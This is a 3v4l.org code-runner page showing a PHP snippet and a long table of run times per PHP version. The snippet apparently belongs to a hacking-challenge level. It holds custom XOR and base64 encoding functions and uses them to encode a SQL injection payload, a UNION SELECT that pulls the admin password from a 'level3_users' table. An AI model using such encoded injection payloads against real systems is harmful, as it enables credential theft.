3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,password FROM level3_users WHERE Username='Admin' --"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0000.01616.88
8.3.50.0080.00822.15
8.3.40.0110.01119.10
8.3.30.0110.00719.20
8.3.20.0040.00420.16
8.3.10.0040.00423.53
8.3.00.0060.00319.63
8.2.180.0000.01516.60
8.2.170.0070.01322.96
8.2.160.0100.00720.35
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0110.00426.16
8.2.120.0070.00022.31
8.2.110.0030.00522.12
8.2.100.0060.00617.91
8.2.90.0080.00019.34
8.2.80.0000.00817.97
8.2.70.0000.00817.87
8.2.60.0050.00518.05
8.2.50.0080.00018.07
8.2.40.0060.00318.34
8.2.30.0030.00618.11
8.2.20.0000.00817.99
8.2.10.0080.00018.18
8.2.00.0080.00017.81
8.1.280.0150.00325.92
8.1.270.0120.00423.87
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0040.00423.84
8.1.230.0000.01119.09
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0060.00317.38
8.1.190.0040.00417.65
8.1.180.0060.00318.10
8.1.170.0000.00818.80
8.1.160.0040.00422.08
8.1.150.0060.00318.73
8.1.140.0050.00217.71
8.1.130.0050.00317.88
8.1.120.0000.00817.65
8.1.110.0000.00817.69
8.1.100.0050.00217.62
8.1.90.0070.00017.66
8.1.80.0000.00817.66
8.1.70.0000.00717.66
8.1.60.0000.00717.66
8.1.50.0000.00917.75
8.1.40.0000.00817.62
8.1.30.0000.00817.88
8.1.20.0040.00417.74
8.1.10.0080.00017.75
8.1.00.0030.00617.71
8.0.300.0000.00718.77
8.0.290.0000.00717.41
8.0.280.0040.00418.57
8.0.270.0030.00317.23
8.0.260.0060.00017.00
8.0.250.0030.00317.17
8.0.240.0040.00417.18
8.0.230.0000.00717.14
8.0.220.0050.00316.98
8.0.210.0000.00717.06
8.0.200.0030.00317.14
8.0.190.0060.00317.14
8.0.180.0000.00817.13
8.0.170.0080.00017.13
8.0.160.0070.00017.16
8.0.150.0040.00416.98
8.0.140.0040.00417.01
8.0.130.0000.00913.55
8.0.120.0000.00816.96
8.0.110.0070.00016.94
8.0.100.0000.00717.14
8.0.90.0070.00016.88
8.0.80.0130.00317.11
8.0.70.0000.00816.90
8.0.60.0040.00417.09
8.0.50.0000.00816.96
8.0.30.0110.01317.16
8.0.20.0070.01217.51
8.0.10.0000.00817.06
8.0.00.0070.01216.82
7.4.330.0030.00315.11
7.4.320.0030.00316.79
7.4.300.0030.00316.72
7.4.290.0000.00716.78
7.4.280.0000.00716.88
7.4.270.0070.00016.82
7.4.260.0030.00316.75
7.4.250.0020.00516.71
7.4.240.0020.00516.79
7.4.230.0000.00716.84
7.4.220.0140.00316.96
7.4.210.0030.01116.85
7.4.200.0040.00416.56
7.4.190.0070.00016.81
7.4.160.0120.00316.82
7.4.150.0150.00617.40
7.4.140.0070.01217.86
7.4.130.0060.01016.83
7.4.120.0100.00916.69
7.4.110.0280.01316.83
7.4.100.0170.00616.83
7.4.90.0040.01516.77
7.4.80.0110.00719.39
7.4.70.0080.00816.72
7.4.60.0060.00916.59
7.4.50.0000.00616.70
7.4.40.0060.00922.77
7.4.30.0120.00416.68
7.4.00.0000.01415.07
7.3.330.0050.00013.63
7.3.320.0050.00013.46
7.3.310.0030.00416.59
7.3.300.0000.00716.52
7.3.290.0170.00016.57
7.3.280.0100.00616.51
7.3.270.0130.00317.40
7.3.260.0070.01116.79
7.3.250.0080.01216.69
7.3.240.0030.01816.83
7.3.230.0060.01216.50
7.3.210.0070.01116.64
7.3.200.0130.00719.39
7.3.190.0060.01616.82
7.3.180.0120.00916.50
7.3.170.0120.00416.78
7.3.160.0070.01016.83
7.3.120.0060.01015.02
7.2.330.0060.01316.72
7.2.320.0070.01016.94
7.2.310.0110.01216.99
7.2.300.0170.00016.89
7.2.290.0140.01016.82
7.1.70.0030.00517.58
7.1.60.0030.01919.31
7.1.50.0070.02017.23
7.1.00.0130.06722.30
7.0.200.0020.00516.89
7.0.140.0100.06722.15
7.0.60.0130.07319.99
7.0.50.0070.05318.03
7.0.40.0130.04020.06
7.0.30.0300.07720.35
7.0.20.0230.08720.22
7.0.10.0030.06720.34
7.0.00.0070.09020.25
5.6.280.0100.06720.93
5.6.210.0030.04020.54
5.6.200.0200.07318.16
5.6.190.0030.06320.39
5.6.180.0200.06020.61
5.6.170.0230.05320.54
5.6.160.0100.05320.39
5.6.150.0100.07718.16
5.6.140.0100.07318.17
5.6.130.0030.05318.18
5.6.120.0030.08320.99
5.6.110.0070.09021.14
5.6.100.0030.08020.97
5.6.90.0030.07021.11
5.6.80.0100.07320.39
5.5.350.0030.08320.44
5.5.340.0000.04317.98
5.5.330.0130.07720.25
5.5.320.0030.04320.42
5.5.310.0270.07020.34
5.5.300.0170.07018.03
5.5.290.0030.04017.96
5.5.280.0030.04020.89
5.5.270.0130.07720.89
5.5.260.0030.09020.88
5.5.250.0100.08320.51
5.5.240.0270.05020.28
5.4.450.0500.05719.16
5.4.440.0830.06319.47
5.4.430.0830.05719.19
5.4.420.0100.06019.52
5.4.410.0600.06019.46
5.4.400.0130.05319.14
5.4.390.0570.06019.23
5.4.380.0200.06018.80
5.4.370.0270.05318.46
5.4.360.0570.04018.79
5.4.350.0330.05718.79
5.4.340.0130.06718.73
5.4.320.0060.03612.51
5.4.310.0040.04112.50
5.4.300.0070.03712.51
5.4.290.0070.03812.51
5.4.280.0030.03912.40
5.4.270.0050.03612.40
5.4.260.0100.04112.40
5.4.250.0100.04912.40
5.4.240.0080.04912.41
5.4.230.0100.03412.39
5.4.220.0060.04712.39
5.4.210.0060.03512.40
5.4.200.0080.05212.39
5.4.190.0100.03512.39
5.4.180.0070.03612.39
5.4.170.0190.04012.38
5.4.160.0290.09212.38
5.4.150.0170.04212.38
5.4.140.0140.04312.06
5.4.130.0150.04412.05
5.4.120.0160.04112.01
5.4.110.0160.04512.00
5.4.100.0200.06812.00
5.4.90.0190.03812.00
5.4.80.0130.04312.00
5.4.70.0120.04412.00
5.4.60.0160.04312.00
5.4.50.0200.06611.99
5.4.40.0170.03911.98
5.4.30.0140.04411.98
5.4.20.0110.04511.98
5.4.10.0230.03811.98
5.4.00.0290.05711.47
5.3.290.0070.05012.80
5.3.280.0060.04512.71
5.3.270.0120.04712.72
5.3.260.0130.04712.72
5.3.250.0140.04512.72
5.3.240.0110.04912.71
5.3.230.0240.06712.71
5.3.220.0130.04712.68
5.3.210.0160.04412.68
5.3.200.0180.04112.68
5.3.190.0130.04712.68
5.3.180.0130.04612.67
5.3.170.0300.05912.67
5.3.160.0180.04112.68
5.3.150.0190.04012.67
5.3.140.0130.04612.66
5.3.130.0140.04512.66
5.3.120.0150.04512.66
5.3.110.0210.04012.66
5.3.100.0180.04212.12
5.3.90.0140.04412.10
5.3.80.0160.04312.09
5.3.70.0280.06312.09
5.3.60.0120.04712.08
5.3.50.0160.04212.02
5.3.40.0180.04212.02
5.3.30.0210.03611.99
5.3.20.0280.06211.77
5.3.10.0130.04311.73
5.3.00.0140.04211.71
5.2.170.0120.0349.22
5.2.160.0160.0309.22
5.2.150.0170.0309.22
5.2.140.0080.0399.22
5.2.130.0150.0319.18
5.2.120.0140.0329.18
5.2.110.0090.0399.18
5.2.100.0120.0349.19
5.2.90.0110.0359.19
5.2.80.0100.0379.17
5.2.70.0330.0749.18
5.2.60.0130.0339.13
5.2.50.0100.0369.09
5.2.40.0180.0289.08
5.2.30.0090.0379.05
5.2.20.0100.0369.05
5.2.10.0080.0388.95
5.2.00.0100.0348.80
5.1.60.0060.0338.09
5.1.50.0090.0318.08
5.1.40.0150.0248.07
5.1.30.0090.0338.41
5.1.20.0110.0618.45
5.1.10.0110.0318.17
5.1.00.0110.0308.16
5.0.50.0060.0276.66
5.0.40.0060.0266.51
5.0.30.0060.0386.33
5.0.20.0060.0266.30
5.0.10.0250.0366.27
5.0.00.0060.0376.26
4.4.90.0080.0174.78
4.4.80.0070.0184.76
4.4.70.0090.0164.75
4.4.60.0190.0374.75
4.4.50.0040.0214.77
4.4.40.0090.0264.70
4.4.30.0090.0174.76
4.4.20.0090.0174.84
4.4.10.0070.0194.85
4.4.00.0030.0354.75
4.3.110.0070.0194.66
4.3.100.0070.0194.66
4.3.90.0080.0174.63
4.3.80.0060.0284.58
4.3.70.0110.0134.63
4.3.60.0070.0174.63
4.3.50.0070.0184.63
4.3.40.0090.0244.54
4.3.30.0050.0183.33
4.3.20.0060.0173.31
4.3.10.0050.0183.28
4.3.00.0030.0276.22

preferences:
36.71 ms | 401 KiB | 5 Q